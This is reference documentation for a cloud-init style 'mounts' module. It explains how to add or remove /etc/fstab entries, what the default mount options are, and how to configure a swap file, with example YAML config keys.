Mounts
------
**Summary:** configure mount points and swap files

This module can add or remove mountpoints from ``/etc/fstab`` as well as
configure swap. The ``mounts`` config key takes a list of fstab entries to add.
Each entry is specified as a list of ``[ fs_spec, fs_file, fs_vfstype,
fs_mntops, fs-freq, fs_passno ]``. For more information on these options,
consult the manual for ``/etc/fstab``. When specifying the ``fs_spec``, if the
device name starts with one of ``xvd``, ``sd``, ``hd``, or ``vd``, the leading
``/dev`` may be omitted.

In order to remove a previously listed mount, an entry can be added to the
mounts list containing ``fs_spec`` for the device to be removed but no
mountpoint (i.e. ``[ sda1 ]`` or ``[ sda1, null ]``).

The ``mount_default_fields`` config key allows default options to be specified
for the values in a ``mounts`` entry that are not specified, aside from the
``fs_spec`` and the ``fs_file``. If specified, this must be a list containing 7
values. It defaults to::

    mount_default_fields: [none, none, "auto", "defaults,nobootwait", "0", "2"]

On a systemd booted system that default is the mostly equivalent::

    mount_default_fields: [none, none, "auto",
       "defaults,nofail,x-systemd.requires=cloud-init.service", "0", "2"]

Note that `nobootwait` is an upstart specific boot option that somewhat
equates to the more standard `nofail`.

Swap files can be configured by setting the path to the swap file to create
with ``filename``, the size of the swap file with ``size`` maximum size of
the swap file if using an ``size: auto`` with ``maxsize``. By default no
swap file is created.

**Internal name:** ``cc_mounts``

**Module frequency:** per instance

**Supported distros:** all

**Config keys**::

    mounts:
        - [ /dev/ephemeral0, /mnt, auto, "defaults,noexec" ]
        - [ sdc, /opt/data ]
        - [ xvdh, /opt/data, "auto", "defaults,nofail", "0", "0" ]
    mount_default_fields: [None, None, "auto", "defaults,nofail", "0", "2"]
    swap:
        filename: <file>
        size: <"auto"/size in bytes>
        maxsize: <size in bytes>
